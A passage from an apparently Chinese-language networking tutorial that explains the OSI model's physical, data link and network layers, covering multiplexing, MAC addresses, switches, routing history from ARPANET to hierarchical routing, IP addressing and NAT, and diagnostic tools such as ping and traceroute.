    由于 OSI protocols 实在太复杂,后来基本没人用。但 OSI model 反而广为流传,并且成为“网络分层模型”中名气最大,影响力最广的一个。
    因此,本文后续章节中,凡是提到 OSI,指的是【OSI model】。

    OSI 模型的7层

    OSI 模型总共分7层,示意图参见如下表格:

    层次中文名洋文名
    第7层应用层Application Layer
    第6层表示层Presentation Layer
    第5层会话层Session Layer
    第4层传输层Transport Layer
    第3层网络层Network Layer
    第2层数据链路层Data Link Layer
    第1层物理层Physical Layer

    (注:在后续章节把“数据链路层”简称为“链路层”)

    物理层:概述

    物理层的必要性

    物里层直接与物理介质打交道的层次,这一层的必要性比较明显。

    因为所有的通讯,归根结底都要依赖于【物理介质】。与物理介质打交道,需要牵涉到很多与【物理学】相关的内容。比如:“无线电通讯”需要关心“频率/波长”;电缆通讯需要跟“电压”打交道;“光纤通讯”需要关心“玻璃的折射率&光线的入射角” 等。
    “物理层”的主要职责是:屏蔽这些细节,使得“物理层”之上的层次不用再去操心物理学。

    物理信道的类型

    对于“物理信道”,可以进一步细分为如下三大类:

    1. 有线信道(比如:双绞线、同轴电缆、光纤、等等)
    2. 无线信道(比如:微波通讯、电台广播、卫星通讯、等等)
    3. 存储信道

    存储信道比较少见,稍微解释一下:假设你要把一堆信息传送给另一个人,除了用“有线 or 无线”这两种通讯方式,还可以把信息先保存到某种【存储介质】(比如硬盘),然后再把存储介质用某种方式(比如快递)转交给对方。这就是所谓的“存储信道”。

    信噪比(Signal-to-noise ratio)

    对于“物理信道”,总是会存在某些环境干扰,称之为“噪声”(Noise)。“信道传输的有用信息”与“无用的干扰噪声”,这两者的比值就是“信噪比”。

    “信噪比”单位是【分贝】(decibel,简称dB)。“deci”表示“十进制”;“bel”是为了纪念大名鼎鼎的贝尔(电话发明者)。

    带宽的限制因素

    “物理信道”要依赖于物理传输介质。不管使用何种物理介质,都要受限于某些基本的物理学定律(比如“光速上限”)。另外,不管何种物理介质,总是会有或多或少的环境干扰(噪声)。这两个因素导致了:任何“物理信道”的最大传输率总是有限的。

    由于物理层是最底下的一层,物理层之上的其它层次总是要直接或间接地依赖【物理信道】。因此,其它层次建立的“逻辑信道”,其带宽只会比“物理信道”的最大带宽更小。“物理信道”的带宽上限也就是整个协议栈的带宽上限。

    多路复用(Multiplexing)

    通常情况,凡是能实现【长距离】通讯的“物理信道”,都有相当的经济成本。比如铺设“光纤、同轴电缆”都要花钱。无线电通讯虽然免去了铺设线路的成本,但需要竞标购买频段。因此,物理信道非常强调“多路复用”。

    所谓“多路复用”,就是尽可能地共享物理信道。“多路复用”有很多种类型;不同的类型,原理也不同。为了展示各种不同的原理,拿【无线通信】来举例。

    无线通信领域的“多路复用”,【至少】有如下几种:

    频分多路复用/FDM(Frequency-Division Multiplexing)

    根据频率拆分。不同的线路占用不同的频段,互不干扰。(电台广播用的就是这个思路)但缺点很明显:

    1. 要依赖足够宽的频段(频段是稀缺资源);
    2. 不同线路的流量可能会动态变化。如果某个线路空闲,其占用的频段就浪费了。(注:光纤通讯中有个“波分多路复用/WDM”,本质上就是 FDM)

    时分多路复用/TDM(Time-Division Multiplexing)

    只用一个很窄的频段。为了在同一个频道发送多个信道,采用【分时机制】,把时间切割成很小的时间片,每个线路占用一个时间片,周而往复。像十字路口的红绿灯——每隔一段时间,其中一条路可以通行。

    • 优点:可以只使用一个很窄的频段。
    • 缺点:线路越多,每条线路等待越久;即使某个线路空闲,依然会占用时间片(浪费了资源)。

    码分多路复用/CDM(Code-Division Multiplexing)

    采用某种【编码】的技巧,使得多个端点可以在同一个时间点使用同一频段发送数据;由于他们采用不同的编码方式,不会相互干扰。一般来说,CDM 要依赖于“扩频技术”(spread spectrum),需占用一个比较宽的频道范围。这算是缺点。

    但其优点很明显:

    1. 可以支持 N 个线路(N 动态变化);
    2. 即使任何一个线路的流量动态变化,也不会浪费物理信道的资源。

    显然,这种思路明显优于 FDM & TDM。如今在移动通讯领域大名鼎鼎的 CDMA(码分多址),采用的就是这个思路。

    物理层:具体实例

    物理层的【协议】

    物理层的协议主要有如下:

    物理层的【协议实现】

    对于电脑主机(含移动设备),“网卡硬件”包含了物理层的协议实现(如下图)另外,还有一些专门的【1层】网络设备,也提供物理层的功能。

    OSI 模型中不同层次的协议实现

    物理层相关的【网络设备】

    调制解调器(modem)
    “调制解调器”用来翻译“数字信号 & 模拟信号”。在发送信息时,modem 把电脑要发送的“字节流”(数字信号)翻译成“模拟信号”,然后通过物理介质发送出去;当它从物理介质收到“模拟信号”,再翻译成“数字信号”,传回给电脑。

    早期的拨号上网,modem 面对的物理介质是“固话线路”;如今家庭宽带普及,光纤入户,modem 面对的物理介质是“光纤线路”。

    老式 modem,用于固定电话线路

    中继器(repeater)
    信号在物理介质中传输,会出现【衰减】(不论是“有线 or 无线”都有可能衰减)。“中继器”的作用是【信号增益】,使得信号能传得更远。另外,比如“微波通讯”是直线传播,而地球表面有弧度,还有地形的起伏。所以每隔一定距离要建“微波塔”,也相当于“中继器”。

    微波塔

    集线器(hub)
    可以把“集线器”视作更高级的“中继器”——“中继器”只有两个口(只能连接两个通讯端点),而“集线器”有多个口(同时连接多个通讯端点)。通常所说的“集线器”是指“以太网集线器”。这种设备如今已经逐步淘汰,很少见到。

    老式10兆以太网集线器

    另外,“USB hub”就是针对 USB 线的“集线器”(“USB 线”也可以视作某种通讯介质)。

    链路层:概述

    链路层的必要性

    对信息的打包

    物理层传输的信息,通俗地说就是【比特流】(也就是一长串比特)。但是对于计算机来说,“比特流”太低级,处理起来极不方便。“链路层”要干的第一个事情,就是把“比特流”打包成更大的包,以方便更上层的协议进行处理。在 OSI 模型中,链路层的一个数据包,称之为“帧”(frame)。

    差错控制

    物理介质的传输,可能受到环境的影响。这种影响不仅仅体现为“噪声”,有时候会出现严重的干扰,导致物理层传输的“比特流”出错(某个比特“从0变1”或“从1变0”)。因此,链路层还需要负责检查物理层的传输是否出错。在 技术行话中,检测是否出错,称之为“差错控制机制”。

    流量控制

    假设两个端点通过同一个物理信道进行通讯,这两个端点处理信息的速度可能不同。如果发送方输出信息的速度超过接收方处理信息的速度,通讯就会出问题。于是就需要有某种机制来协调,确保发送方的发送速度不会超出接收方的处理速度。在技术行话中,这称之为“流量控制”,简称“流控”。

    信道复用

    在上一个章节已经讲到:用于远距离通讯的“物理介质”,总是有成本。因此需要对物理信道进行“多路复用”,就会导致多个端点共用同一个物理信道。如果同时存在多个发送者和多个接收者。接收者如何知道某个信息是发给自己而不是别人?

    另外,某些物理介质可能不支持并发。某些物理介质可能是【半双工】,所有这些物理层的限制,都使得“多路复用”变得复杂。为了解决这些问题,链路层需要提供了某种相应的机制(协议),术语叫做“介质访问控制”(“Media Access Control”,简称 MAC)。

    差错控制

    为了发现传输的信息是否出错,设计了很多相应的数学算法。这些算法大体分为两类:“检错算法 & 纠错算法”。

    简而言之,“检错算法”只能检测出错误,而“纠错算法”不但能检测出错误,还能纠正错误。很显然,“纠错算法”更牛逼,但是它也更复杂。

    常见的“检错算法”对传输的数据计算出一个【校验值】,接收方收到数据会重新计算校验和,如果算出来不对,就把收到的数据丢弃,让对方重发。“校验算法”的原理类似于“散列算法/哈希算法”。“纠错算法”更高级,由于涉及到更多数学,就不一一展开。

    对于【无线】物理信道,由于出错的概率更高,并且重新传输数据的成本也更高。所以【无线】通讯的链路层协议,更倾向于用【纠错】机制;作为对比,【有线】通讯的链路层协议,更倾向于用【检错】机制。

    MAC 协议

    “MAC 协议”用来确保对下层物理介质的使用,不会出现冲突。拿“铁路系统”比喻:

    假设有一条【单轨】铁路连接 A/B 两地。有很多火车想从 A 开到 B,同时还有很多火车想从 B 开到 A。首先,要确保不发生撞车(如果已经有车在 A 开往 B 的途中,那么 B 就不能再发车);其次,即使是同一个方向的车,出发时间也要错开一个时间间隔。所有这些协调工作,都是靠“MAC 协议”来处理。

    MAC 地址

    为了完成上述任务,光有“MAC 协议”还不够,还需要为每一个端点引入【唯一的】标识。这个标识就称作“MAC 地址”。

    每个网卡都内置了一个“MAC 地址”。这个地址是网卡在出厂的时候就已经设置好,并且用某种机制确保该地址【全球唯一】。

    如何保证 MAC 地址全球唯一?MAC 地址包含6个字节(48个比特),分为两半。第一部分称作【OUI】,OUI 的24个比特中,其中2个比特有特殊含义,其它22个比特,用来作为网卡厂商的唯一编号。这个编号由国际组织 IEEE 统一分配。MAC 地址第二部分的24比特,由网卡厂商自己决定如何分配。每个厂商只要确保自己生产的网卡,后面这24比特是唯一的就可以。

    MAC 地址的构成

    顺便说说【虚拟网卡】的 MAC 地址:

    “虚拟网卡”是由【虚拟化软件】创建滴。IEEE 也给每个虚拟化软件的厂商(含开源社区)分配了唯一的 OUI。因此,虚拟化软件在创建“虚拟网卡”时,会使用自己的 OUI 生成前面24个比特;后面的24比特,会采用某种算法使之尽可能【随机化】。由于“2的24次方”很大(224 = 16777216),碰巧一样的概率很低。

    (注:如果手工修改 MAC 地址,故意把两块网卡的 MAC 地址搞成一样,那确实就做不到唯一性。并且会导致链路层的通讯出问题)

    链路层:具体实例

    链路层的【协议】

    链路层的协议主要有如下:

    链路层的【协议实现】

    对于电脑主机(含移动设备),“网卡硬件 & 网卡驱动”会包含链路层协议的实现(如下图)。另外,还有一些专门的【2层】网络设备,也提供链路层的功能。

    OSI 模型中,不同层次的协议实现

    链路层相关的【网络设备】

    网络交换机(network switch)

    (注:一般提到“网络交换机”,如果不加定语,指的就是“2层交换机”;此外还有更高层的交换机,在后续章节介绍)

    为啥要有交换机?以太网刚诞生的时候,称之为“经典以太网”,电脑是通过【集线器】相连。“集线器”前面提到过,工作在【1层】(物理层),并不理解链路层的协议。因此,集线器的原理是【广播】模式——它从某个网线接口收到的数据,会复制 N 份,发送到其它【每个】网线接口。假设有4台电脑(A、B、C、D)都连在集线器上,A 发数据给 B,其实 C & D 也都收到 A 发出的数据。显然,这种工作模式很傻逼(低效)。由于“经典以太网”的工作模式才“10兆”,所以集线器虽然低效,还能忍受。

    后来要发展“百兆以太网”,再用这种广播模式,就过于低效。于是“经典以太网”就发展为“交换式以太网”。用【交换机】代替“集线器”。

    交换机是工作在2层(链路层)的设备,能够理解链路层协议。当交换机从某个网线接口收到一份数据(链路层的“帧”),它可以识别出“链路帧”里面包含的目标地址(接收方的 MAC 地址),然后只把这份数据转发给“目标 MAC 地址相关的网线接口”。

    由于交换机能识别2层协议,它不止比集线器的性能高,而且功能也强得多。比如高级一些的交换机可以实现“MAC 地址过滤、VLAN、QoS”等多种额外功能。

    网桥/桥接器(network bridge)

    “交换机”通常用来连接【同一种】网络的设备。有时候,需要让两台不同网络类型的电脑相连,就会用到【网桥】。

    下面以“操作系统虚拟机”来举例:

    虚拟机的几种“网卡模式”中,有一种模式叫做【bridge 模式】。一旦设置了这种模式,Guest OS 的虚拟网卡,对于 Host OS 所在的外部网络,是【双向】可见的。也就是说,物理主机所在的外部网络,也可以看见这块虚拟网卡。

    假设物理电脑(Host OS)只安装了【无线网卡】(WiFi),而虚拟化软件给 Guest OS 配置的通常是【以太网卡】。显然,这是两种【不同】的网络。为何 Guest OS 的以太网卡设置为“bridge 模式”之后,外部 WiFi 网络可以看到它?

    奥妙在于虚拟化软件在内部悄悄地实现了一个“网桥”。这个网桥把“Host OS 的 WiFi 网卡”与“Guest OS 的以太网卡”关联起来。WiFi 网卡收到了链路层数据之后,如果接收方的 MAC 地址对应的是 Guest OS,网桥会把这份数据丢给 Guest OS 的网卡。

    这种网卡模式之所以称作“bridge 模式”。

    链路层相关的【软件工具】

    嗅探抓包工具(Sniffer)

    要了解链路层的数据包结构,需要用到“嗅探工具”。这类工具能捕获流经你网卡的所有【链路层】数据包。前面聊“协议栈”的时候说过:下层数据包的载荷就是上层数据包的整体。因此,拿到【链路层】数据包也就意味着:已经拿到2层之上的所有数据包的信息。

    有些抓包工具自带图形界面,可以直接显示数据包的内容给你看。还有些只提供命令行(只是把获取的数据包保存为文件),然后要搭配其它图形化的工具来展示数据包的内容。

    抓包的工具有很多,名气最大的是 Wireshark(原先叫做 Ethereal)。

    ARP 命令

    ARP 是“MAC 地址解析协议”的英文简称。该协议根据“IP 地址”解析“MAC 地址”。

    Windows 自带一个同名的 arp 命令,可以用来诊断与“MAC 地址”相关的信息。比如:列出当前子网中其它主机的 IP 地址以及对应的 MAC 地址。这个命令在 Linux & Mac OS 上也有。

    网络层:概述

    网络层的必要性

    路由机制(routing)

    在 OSI 模型中,链路层本身不提供路由功能。可以通俗地理解为:链路层只处理【直接相连】的两个端点(注:这么说不完全严谨,只是帮助新手理解)

    对于某个复杂网络,可能有很多端点,有很复杂的拓扑结构。当拓扑足够复杂,总有一些端点之间【没有直连】。那么,如何在这些【没有直连】的端点之间建立通讯?此时就需要提供某种机制,让其它端点帮忙转发数据。这就需要引入“路由机制”。

    为了避免把“链路层”设讲得太复杂,路由机制放到“链路层”之上来实现,也就是“网络层”。

    基于【路由】的地址编码方式

    链路层已经提供了某种全球唯一的地址编码方式(MAC 地址)。但“MAC 地址”有如下几个问题:

    1. 它是固定的(虽然可以用技术手段去修改 MAC 地址,但很少这么干)
    2. MAC 地址的编码是基于【厂商】,无法体现网络拓扑结构。或者说,“MAC 地址”对于“路由机制”是不够友好。

    因此,需要引入一种更抽象(更高层)的地址,也就是“网络层地址”。我们常说的“IP 地址”是“网络层地址”的实现方式之一,举个例子:

    每个人都有身份证号(这就类似于“MAC 地址”)。当某人加入了某个公司,公司会为此人再分配一个“员工号”(这就类似于“网络地址”)。既然有身份证号,为啥公司还要另搞一套“员工编号”捏?因为“员工编号”有额外的好处。比如说:可以把员工号划分为不同的区间,对应不同的部门。这样一来,只要看到员工号,就知道此人来自哪个部门。

    类似道理,每个网卡都有自己固定的 MAC 地址,当这个网卡接入到不同的网络,每次都可以再分配不同的“网络地址”。通过“网络地址”可以看出这个网卡属于哪个网络(对路由比较方便)。

    网际互联(internetwork

    引入“网络层”的另一个目的是:屏蔽不同类型的网络之间的差异,从而有利于【网际互联】(也就是建立“网络的网络”)。

    一般来说,要想联通【异种】网络,就要求每个网络中都有一台主机充当【网关】(gateway)。网关起到“中介/翻译”的作用——帮不同的网络翻译协议,使得不同的网络可以互相联通。假设没有统一的网络层,网关的工作就很难做。就好比说:如果全球没有某种通用的自然语言,就需要培养非常多不同类型的翻译人才(假设有30种主要语言,任意两种互译,就需要几百种不同的翻译人才)。

    反之,如果有了某种统一的网络层标准,问题就好办许多(还是假设有30种主要语言,只要选定某种作为通用语,然后培养29种翻译人才,就可以实现任意两种语言互译)。如今的互联网时代,【IP 协议】就是那个充当统一标准的网络层协议。

    互联网整合了各种类型的网络

    网络拓扑(network topology)

    网络的拓扑结构有很多种,有简单的,有复杂的。一般来说,再复杂的拓扑,也可以逐步分解为若干简单拓扑的组合。

    常见的网状拓扑结构:星形拓扑、环形拓扑、总线拓扑、网状拓扑等

    如今的互联网,整体的拓扑结构超级复杂。但还是可以逐步分解为上述几种基本的拓扑结构。

    互联网的复杂拓扑,右下角是图中某个小点的放大。点这里看原始图

    互联网的拓扑——从“历史”的角度看其健壮性

    从上面那张图可以看出:互联网拓扑的【局部】有很多是“星形拓扑”(当然也有其它)。但从【宏观】上看,更像是“网状拓扑”。在现实生活中,对于复杂结构,通常都会采用“树状层次结构”,以便于管理。比如:域名系统、公司组织结构等,那为何互联网的【宏观】拓扑结构是“网状”的?这就要说到互联网的历史。

    在上世纪50年代(冷战高峰期),美国军方的指挥系统高度依赖于电信公司提供的电话网络。当时的电话网络大致如下:

    在基层,每个地区有电话交换局,每一部电话都连入当地的交换局。
    在全国,设有若干个长途局,每个交换局都接入某个特定的长途局(不同地区的交换局通过长途局中转)。

    简而言之,当时美国的电话网络是典型的【多级星形拓扑】。这种拓扑的优点是:简单、高效、便于管理;但缺点是:健壮性很差。从这个案例中,大伙儿可以再次体会到“效率”与“健壮性”之间的矛盾。

    话说1957年的时候,苏联成功试射第一颗洲际弹道导弹(ICBM),美国军方开始担心:一旦苏联先用洲际导弹攻击美国,只要把少数几个长途局轰掉,军方的指挥系统就会瘫痪。也就是说,“长途局”已经成为美国军方的【单点故障】。

    1960年,美国国防部找来大名鼎鼎的兰德公司进行咨询,要求提供一个应对核打击的方案。该公司的研究员 Paul Baran 设计了一个方案,把“星形拓扑”改为【网状拓扑】。采用【网状拓扑】的好处在于:即使发生全面核大战,大量骨干节点被摧毁,整个网络也不会被分隔成几个孤岛,军方的指挥系统依然能正常运作。

    左边:互联网诞生前——美国的电话网络  右边:兰德公司的“Baran 方案”

    有了兰德公司的方案,美国军方找到当时最大的电信公司 AT&T,想要实现这个系统,结果被否决了。AT&T 高层认为:搞这样一种系统根本不切实际。于是 Baran 的方案中途夭折。

    为何 AT&T 反对这个方案呢?一方面,成功的大公司总是有很强的思维定势,另一方面,Baran 的设计方案确实很超前——其前瞻性不仅包括“拓扑结构”,而且把当时电信行业的几大核心观念完全颠覆掉了。

    时间一晃又过了好多年,到了60年代末,由于一系列机缘巧合,英国佬发现了“Baran 方案”的价值,并据此搞了一个小型的 NPL 网络(NPL 是“国家物理实验室”的缩写)。然后在某次 ACM 会议上,美国佬看到英国佬的论文,才意识到:Baran 方案完全可行。经历了“出口转内销”的命运之后,该方案重新被美国国防部重视。之后,(国防部下属的)“高级计划研究局”(ARPA)开始筹建“阿帕网”(ARPANET),才有了如今的互联网。

    路由的大致原理

    聊完“拓扑”,再来聊“路由”。

    当主机 A 向主机 B 发送网络层的数据时,大致会经历如下步骤:

    1. A 主机的协议栈先判断“A B 两个地址”是否在同一个子网,如果是同一个子网,直接发给对方;如果不是同一个子网,发给本子网的【默认网关】。(此处所说的“网关”指“3层网关/网络层网关”)
    2. 对于“默认网关”,有可能自己就是路由器;也可能自己不是路由器,但与其它路由器相连。也就是说,“默认网关”要么自己对数据包进行路由,要么丢给能进行路由的另一台设备。(万一找不到能路由的设备,这个数据就被丢弃,于是网络通讯出错)
    3. 当数据到达某个路由器之后,有如下几种可能
      1. 该路由器正好是 B 所在子网的网关(与 B 直连),那就把数据包丢给 B,路由过程就结束。
      2. 或者,路由器会把数据包丢给另一个路由器(另一个路由器再丢给另一个路由器) …… 如此循环往复,最终到达目的地 B。
      3. 还存在一种可能性:始终找不到“主机 B”(有可能该主机“断线 or 关机 or 根本不存在”)。为了避免数据包长时间在网络上闲逛,还需要引入某种【数据包存活机制】(“Time To Live”,简称 TTL)。通常会采用某个整数(TTL 计数)表示数据包能活多久。当主机 A 发出这个数据包的时候,这个“TTL 计数”就已经设置好了。每当这个数据包被路由器转发一次,“TTL 记数”就减一。当 TTL 变为零,这个数据包就被丢弃。

    对于某些大型的复杂网络(比如互联网),每个路由器可能与其它 N 个路由器相连(N 可能很大)。对于上述的 3.2 情形,它如何判断:该转发给谁?这时候,“路由算法”就体现出价值:

    一般来说,路由器内部会维护一张【路由表】。每当收到一个网络层的数据包,先取出数据包中的【目标地址】,然后去查这张路由表,看谁距离目标最近,就把数据包转发给谁。

    上面这段话看起来好像很简单,其实路由算法挺复杂。对此感兴趣的同学,可以去看《计算机网络》的第5章。

    路由算法的演变史(以互联网为例)

    由于互联网的 IP 协议已经成为“网络层协议”的事实标准,简单聊一下互联网的路由机制是如何进化。

    第1阶段:静态全局路由表

    互联网的前身是“阿帕网/ARPANET”。在阿帕网诞生初期(上世纪70年代),全球的主机很少。因此,早期的路由表很简单,既是“全局”,又是“静态”。简而言之,每个路由器内部都维护一张“全局路由表”,这个“路由表”包含了全球所有其它路由器的关联信息。每当来了一个数据包,查一下这张全局路由表,自然就清楚要转发给谁,才能最快到达目的地。

    早期的阿帕网,主机的变化比较少,也很少增加路由器。每当出现一个新的路由器,其它路由器的管理员就手工编辑各自的“全局路由表”。

    为了加深印象,找来两张70年代初的阿帕网拓扑图(注:图中的 IMP 是“Interface Message Processor”的缩写,也就是如今所说的“路由器”)。

    1973年的阿帕网
    1973年的阿帕网

    第2阶段:动态全局路由表

    后来,“阿帕网/互联网”的规模猛增,路由器数量也跟着猛增,隔三差五都有新的路由器冒出来。再用“静态路由表”这种机制,(编辑路由表的)管理员会被活活累死。于是改用“动态路由表”,并引入某种“路由发现机制”。但“路由表”依然是【全局】。

    第3阶段:动态分级路由表

    再到后来,全球的路由器越来越多,成千上万,再搞“全局路由表”已经不太现实了,一方面,“全局路由表”越来越大(查询的速度就越来越慢),另一方面,由于互联网的流量越来越大,每来一个数据包都要查表,查询越来越频繁。

    于是,路由器开始吃不消。为了解决困境,想出一个新招数:引入“分级路由”(hierarchical routing)。所谓的“分级路由”就是:把整个互联网分为多个大区域,每个大区域内部再分小区域,小区域内部再分小小区域 …… 看到这里,熟悉“数据结构与算法”的同学就会意识到——这相当于构造了一个【树状】层次结构。

    有了这个层次结构,每个路由器重点关注:自己所在的那个最小化区域里面的网络拓扑。如此一来,每个路由器的“路由表”都会大幅度减小。

    全局路由表 VS 分级路由表

    互联网的路由——从“CAS”的角度看其健壮性

    互联网的路由机制,其实是一个典型的 CAS:

    如果把互联网视作一个系统,每个公网上的路由器都是一个自适应的主体。假如某个地区的网络流量突然暴涨,骨干网路由器会自动分流;假如因为地震或战争,导致某个地区的骨干网路由器全部下线,周边地区的路由器也会自动避开这个区域。所有这些工作,不需要依靠任何指挥中枢去进行协调。  

    网络层的两种交换技术——电路交换(circuit switching) VS 分组交换(packet switching

    前面聊“互联网诞生”,说到兰德公司的“Baran 方案”。该方案对当时的电信系统提出几大革命性的变化,其中之一就是“分组交换”技术(也称“数据包交换”or“封包交换”)。

    一般来说,网络层的设计有两种截然不同的风格:【电路交换 VS 分组交换】。有时候也分别称之为“有连接的网络层 VS 无连接的网络层”。此处所说的“连接”指的是某种“虚电路”(“virtual circuit”,简称 VC)

    要理解“虚电路”,首先要从老式的电话系统说起:

    最早期的电话,既没有拨号盘也没有按键,全靠一张嘴。当你拿起电话,先告诉接线员你要打给谁,接线员会用一根跳接线,插入电话交换设备的某个插孔,从而把你的电话机与对方的电话机相连。于是建立了一条两人之间的电话通路,也就是“电路”。你可以把“接线员”想象成某种“人肉路由器” 。

    1900年法国巴黎的电话交换局,可以看到接线员在操作电话交换设备

    后来发明了“自动电话交换机”,导致“接线员”全体下岗。虽然自动化了,但原理还是一样:当你在电话上拨了某人的号码,电话局的交换机会自动选择一条线路。只有当这条线路建立起来,对方的电话才会响。一旦双方开始通话,双方之间的语音都是通过这条线路传输。并且这条线路是独占的,只要通话不挂断,这条线路就不会再分配给其他人使用。

    前面提到“互联网诞生的历史”,当时军方推动的“Baran 方案”被 AT&T 断然拒绝。因为这个方案完全颠覆了传统的电话系统:

    1. 把“模拟信号”颠覆为“数字信号”
    2. 把“星形拓扑”颠覆为“网状拓扑”
    3. 把“电路交换”颠覆为“分组交换”

    为了理解第3点,举个例子:

    假设主机 A 要向主机 B 发送一堆数据。因为数据太多,肯定要分成多个数据包。如何把这些数据包发送给对方?

    “电路交换”的实现方式

    在发送数据之前,要先建立连接通道(通过路由算法,找出 A & B 之间的某条通路)。这条通路就是所谓的“虚电路/VC”。一旦 VC 建立,每一个数据包都是从这条拓扑路径进行路由。

    “分组交换”的实现方式

    在发送数据之前,【不需要】建立通道,让每个数据包独立进行路由。这种情况下,这几个数据包可能会走【不同的】拓扑路径。因此,数据包到达的顺序与发送的顺序【不一定】相同。接收方收到所有数据包之后,还要自己进行排序。

    维基百科上有一个 GIF 动画(链接),比较直观地演示“分组交换/封包交换”的效果。

    当时的电话系统主要承载语音传输,“电路交换”显然性能更高。那为啥 Baran 的设计要采用“分组交换”

    对于“电路交换”,一旦建立连接,同一个连接的所有数据都走相同的路径(会经过完全相同的路由器)。也就是说,传输的过程中,如果某个路由器挂掉了(网络掉线 or 硬件当机 or 软件崩溃)。那么,该路由器正在处理的 N 个连接全都要报废。而“分组交换”则更加灵活——即使某个路由器挂掉,后续的数据包会自动转向另外的路由器,损失很小。

    “Baran 方案”之所以采用“分组交换”的设计,因为这个方案是提交给军方用来应对【全面核战争】滴,当然要考虑健壮性。

    话说这两种交换机制,各有很多支持者,并分裂为两大阵营,分别是:“电信阵营 VS 互联网阵营”。两大阵营的争执持续了 N 年,都无法说服对方。到了后来设计 OSI 模型的时候,为了保持中立性与通用性,OSI 模型本身并没有强制要求网络层采用哪一种风格。

    经过几十年之后,咱们已经可以看出来:“互联网阵营”占据主导地位。如今,连电信系统都是架构在互联网之上。

    网络层:具体实例

    网络层的【协议】

    网络层的协议有很多。由于“互联网”已经成为全球的事实标准,因此只列出属于互联网协议族的网络层协议:

    对上述这些协议,最重要的当然是 IP 协议。如果你想要深入了解 IP 协议,可以参考《TCP-IP 详解》。关于 IP 协议的书,此书的影响力最大。这本书共3卷,通常只需看第1卷。

    网络层的【协议实现】

    对于电脑主机(含移动设备),网络层的协议实现通常包含在操作系统自带的网络模块中(也就是“操作系统协议栈”)。具体参见如下示意图。另外,还有一些专门的【3层】网络设备,也提供网络层的功能。

    OSI 模型中不同层次的协议实现

    IP 地址的格式及含义

    当年设计阿帕网的时候,采用了【4字节】(32比特)来表示“网络层地址”(也就是 IP 地址)。“IP 地址”的含义很重要,有必要解释一下:

    我们平时所说的 IP 地址,采用【点分十进制】来表示。就是把地址的4个字节,先翻译为十进制,然后每个字节用一个小数点分隔开(参见如下示意图):

    4字节 IP 地址:“二进制”与“点分十进制”的对照示意图

    “IP 地址”的32比特,分为两部分:

    • 第1部分用来标识【子网】
    • 第2部分用来标识该子网中的【主机】。

    这两部分各占用多少比特,是不确定的。在这种情况下,“操作系统协议栈”如何知道哪些比特标识“子网”,哪些比特标识“主机”?奥妙在于【子网掩码】。所以,在给系统配置 IP 地址的时候,通常都需要再设置一个【子网掩码】,就这个用途。

    IP 地址枯竭,及其解决方法

    前一个小节提到:IP地址包含【4字节】(32比特)。因此,最多只能表示【2的32次方】(42亿左右)的不同地址。考虑到还有很多地址保留给特殊用途,实际可用地址远远不到42亿。到了如今,全球网民都已经几十亿了,IP 地址开始枯竭。怎么办?为了解决这个问题,发展出若干技术手段。简单说一下最常见的几种手段:

    IPv6
    名气最大(最多人知道)的技术手段,大概是 IPv6 了。这招想要一劳永逸地解决地址枯竭的问题,采用了16字节(128比特)来表示 IP 地址。设计 IPv6 的人自豪地宣称:即使给地球上的每一粒沙子分配一个 IPv6 地址,依然绰绰有余(确实没有吹牛,“2的128次方”是天文数字)。

    但 IPv6 的缺点在于,【无法】向下兼容原有的 IP 协议(原有的协议叫“IPv4”)。IPv6 的普及一直比较慢,这是主要原因。

    代理服务器(proxy)

    比如,某个公司有100人,100台电脑。如果每台电脑都分配公网 IP 地址,就要消耗100个公网地址,这样就太浪费。可以只申请一个公网 IP,然后在内网搞一个代理服务器,公网 IP 分配给它(代理服务器有两个网卡,一个接内网,一个接公网)。然后在其它电脑上设置代理,指向这台代理服务器,就都可以上外网。

    网络地址转换(NAT)

    前面的 proxy 有个缺点:内网的每台电脑里面的每个上网软件,都要单独设置代理。实在太麻烦,后来就发明了某种更牛逼的招数——网络地址转换(“Network Address Translation”,简称 NAT)。

    用了NAT,还是只要申请一个公网 IP,分配给内网的网关(网关有两个网卡,一个接内网,一个接公网)。然后在内网的网关配置 NAT 功能,自动就可以让内网的每台电脑访问外网。

    采用了 NAT 技术之后,可能会对某些应用软件(尤其是 P2P 类型的)造成兼容性问题,于是又发明了一些“NAT 穿透技术”(NAT traversal)。

    其它解决方法

    关于“IPv4 地址空间耗尽”,解决方法肯定不止上面这几种。限于篇幅,就此打住。更多的讨论参见维基百科的“这个链接”。

    网络层相关的【网络设备】

    路由器(router)
    3层交换机(Layer 3 switching)

    “3层交换机”是在“2层交换机”的基础上,增加了对网络层的处理。因此,它可以做到类似路由器的效果,在几个子网之间转发数据。与路由器的差别在于:“3层交换机”链接的几个子网是【同种】网络;而路由器可以连接【异种】网络。

    从上面这句话看,“3层交换机”的能力显然不如“路由器”。既然已经有“路由器”,为啥还要发明“3层交换机”捏?这就要说到【单臂路由器】的弊端。

    对于企业内网的“2层交换机”,通常都支持 VLAN 功能。通俗地说:可以在交换机中划分多个【虚拟子网】。其实这些子网的中所有的电脑,都还是接入这台交换机,只不过这些子网配置了不同的网络地址。对于同一个 VLAN 内部的通讯,“2层交换机”自己就可以搞定(只需要用到2层协议);但对于【跨】VLAN 主机之间的通讯,“2层交换机”就无法处理(它没有路由功能)。因此,就必须在它旁边外加一个路由器,形成如下拓扑结构。在这个拓扑中,路由器只与单个设备(2层交换机)相连,所以称之为“单臂”。

    请注意:如下示意图只画了两台电脑,位于两个 VLAN。实际上可能有很多个 VLAN,每个里面有几十台电脑。于是,交换机与路由器之间的传输通道就会成为瓶颈——【跨】VLAN 的任意两台电脑通讯,数据包都要到路由器那里兜一圈。为了消除这种瓶颈,才发明了“3层交换机”——把路由功能直接集成到交换机内部。

    单臂路由器的拓扑结构

    无线热点(Wireless Access Point)

    “无线热点”通常用来提供无线接入,使得某个【无线】设备能接入到某个【有线】网络中。一般来说,热点都内置了路由功能,那么它就是“无线路由器”,对应到“3层”(网络层)。反之,如果没有路由功能,它就是“网桥”,属于“2层”(链路层)。

    网络层相关的【软件工具】

    ping

    这个命令,很多人应该都知道。早在 Win9x 就有这个命令了。它使用(网络层的)ICMP 协议来测试某个远程主机是否可达。注意:如果 ping 命令显示某个 IP 地址不可达,有很多种情况。比如说:

    • 这个 IP 地址对应的主机已经关机
    • 这个 IP 地址对应的主机已经断线
    • 这个 IP 地址对应的主机拒绝响应 ICMP 协议
    • 从本机到这个 IP 地址之间,有某个防火墙拦截了 ICMP 协议
    • ……

    traceroute

    这是一个通用的工具,用来测试路由。很早以前的 Windows 就已经内置了它,命令是 tracert。在 POSIX(Linux&UNIX)上通常叫 traceroute,可以用这个命令,测试本机与互联网另一台主机之间的路由(也就是:从本机到对方主机,要经过哪些路由器)

    传输层:概述

